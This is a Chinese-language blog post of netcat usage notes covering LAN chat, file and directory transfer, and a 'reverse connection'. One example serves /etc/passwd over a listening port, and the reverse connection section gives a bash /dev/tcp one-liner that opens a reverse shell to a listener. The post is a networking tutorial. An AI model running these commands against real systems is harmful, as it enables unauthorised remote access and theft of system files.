nc使用笔记
netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。
现内网中有两台机器:Mac: 192.168.1.109 Kali:192.168.1.110
网络聊天
Server: 192.168.1.109
starnight:~ starnight$ nc -l 12345 【服务器监听模式】
Client:192.168.1.110
root@kali:~# nc 192.168.1.109 12345 【客户端进行连接】

这样,在局域网内就能相互进行通讯了。
文件传输
用nc能够进行文件传输,将要传输的文件重定向某个监听端口,然后另一方连接这个端口的时候,数据就能进行流动,完成文件传输。
发送文件
Server: 192.168.1.109
starnight:test starnight$ nc -l 12345 < /etc/passwd
Client: 192.168.1.110
root@kali:~/temp# nc 192.168.1.109 12345 > tmp

可以看到Mac:192.168.1.109上的/etc/passwd已经传输到Kali上了。
接收文件
Server:192.168.1.109
starnight:test starnight$ nc -l 12345 > tmp
Client: 192.168.1.110
root@kali:~/temp# nc 192.168.1.109 12345 < 1.txt

目录传输
传输目录其实跟传输单个文件是一样的,但是要在传输前将文件进行压缩,通过管道,这样就相当于是单个文件了。我们来看看...
Server: 192.168.1.109
starnight:Desktop starnight$ tar -cvf - test/ | nc -l 4444
Client: 192.168.1.110
root@kali:~/temp# nc -n 192.168.1.109 4444 | tar -xvf -

在Server将test文件夹打包之后,通过管道重定向到本机的4444端口,Client连接到Server的4444端口,接收数据直接解压,即可得到test目录。
反向连接
一般来讲,我们最想要的是拿到一个shell,下面我们来看看该怎么做吧。
Server: 192.168.1.107
starnight:~ starnight$ nc -lvv 4444 [服务器端监听4444端口,等待反向连接]
Client: 192.168.1.111
root@kali:~/temp# /bin/bash -i > /dev/tcp/192.168.1.107/4444 0<&1 2>&1


就先总结到这吧...
nc使用笔记的更多相关文章
- NC入门笔记
简介: NC(全名NetCat),在网络界有"瑞士军刀"的美誉.它小巧而强悍,被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动.同时,它也是一个功能强大的网络调试和探测 ...
- NC开发笔记指导
修改端口 InvocationInfoProxy.getInstance().get().getUserCode(); 前台 Nchome F:\JAVA\Projects\ERPEHROA\ufid ...
- NC学习笔记
NC基础技术 一.NC开发基本概念 1.单据:一般是由表头,表体,表位组成. 表头:一般是一些主信息,例如日期,项目等 ...
- vulnhub-DC:4靶机渗透记录
准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...
- 【Linux学习笔记】用nc实现两台主机间的文件传输(不需要输密码)
通常,可以用scp完成两台主机间的文件传输任务,但在主机间未建立信任关系的情况下,scp每次都需要输入密码,用起来感觉不是很方便,之前这篇笔记介绍过不用输入密码执行脚本或传输文件的方法,但对于一些临时 ...
- NC 6.X笔记(编辑中)
1.参照多选 写在编辑前事件中 ((UIRefPane) editor.getBillCardPanel().getBodyItem("pk_wa_item").getCompon ...
- NC nc5.x笔记(编辑中)
一.设置卡片界面下 金额字段负数为红色! /** * 设置卡片界面下 金额字段负数为红色! */ private void repaintBodyMoneyColor(){ if(!isListPan ...
- 安装storm的一些很乱的笔记
下面是自己安装和测试storm的一些笔记,比较乱,后续有时间在整理一篇. storm jar all-my-code.jar com.storm.MyTopology arg1 arg2这个命令会运行 ...
- 《3D Math Primer for Graphics and Game Development》读书笔记1
<3D Math Primer for Graphics and Game Development>读书笔记1 本文是<3D Math Primer for Graphics and ...
随机推荐
- spring ioc和aop的理解
IOC,依赖倒置的意思,所谓依赖,从程序的角度看,就是比如A要调用B的方法,那么A就依赖于B,反正A要用到B,则A依赖于B.所谓倒置,你必须理解如果不倒置,会怎么着,因为A必须要有B,才可以调用B,如 ...
- cnblog博客CSS定制
一.页面定制CSS #home { margin: 0 auto; width: 80%;/*原始65*/ min-width: 980px;/*页面顶部的宽度*/ background-color: ...
- 【HDU5469】Antonidas(点分治,字符串哈希)
[HDU5469]Antonidas(点分治,字符串哈希) 题面 HDU Vjudge 题解 啊哈?什么垃圾一眼点分治+Hash判断,哈哈哈哈哈,让我来码码码. 诶,怎么WA了.改改改改改. 诶,怎么 ...
- linux内核分析 第八周读书笔记
第四章 进程调度 4.1 多任务 1.多任务操作系统就是能同时并发的交互执行多个进程的操作系统. 2.多任务操作系统使多个进程处于堵塞或者睡眠状态,实际不被投入执行,这些任务尽管位于内存,但是并不处于 ...
- SrervletContext和文件下载
ServletContext对象 生命周期(从生命周期可以看出这个是个全局对象) 项目启动的时候创建 项目关闭的时候销毁 概念:代表整个web应用,可以和程序的容器(服务器)来通信. 获取 通过req ...
- JS的作用域和闭包
1.作用域 作用域是根据名称找变量的一套规则. 变量的赋值操作会执行两个动作,首先编译器会在当前作用域中声明一个变量(如果之前没有声明过),然后在运行时引擎会在作用域中查找该变量,如果能够找到就会对它 ...
- android中的style部分属性值介绍 --zz
Android平台定义的主题样式: android:theme="@android:style/Theme.Dialog" 将一个Activity显示为对话框模式 •andro ...
- PyPt5 浏览器实例
title: PyPt5 浏览器实例 date: 2018-02-02 13:40:03 tags: Python PyQt5 便携浏览器 categries: Python --- 导入包 pyQt ...
- Docker 安装tensorflow
安装DOCKER 1. https://docs.docker.com/engine/installation/linux/docker-ce/ubuntu/ nstall from a packag ...
- Chapter9(顺序容器) --C++Prime笔记
PS:删除元素的成员函数并不检查其参数.在删除元素之前,程序员必须确保它们是存在的. 1.迭代器的范围是[begin,end)左闭右开. 2.对构成迭代器的要求: ①它们指向同一个容器中的元素或者容器 ...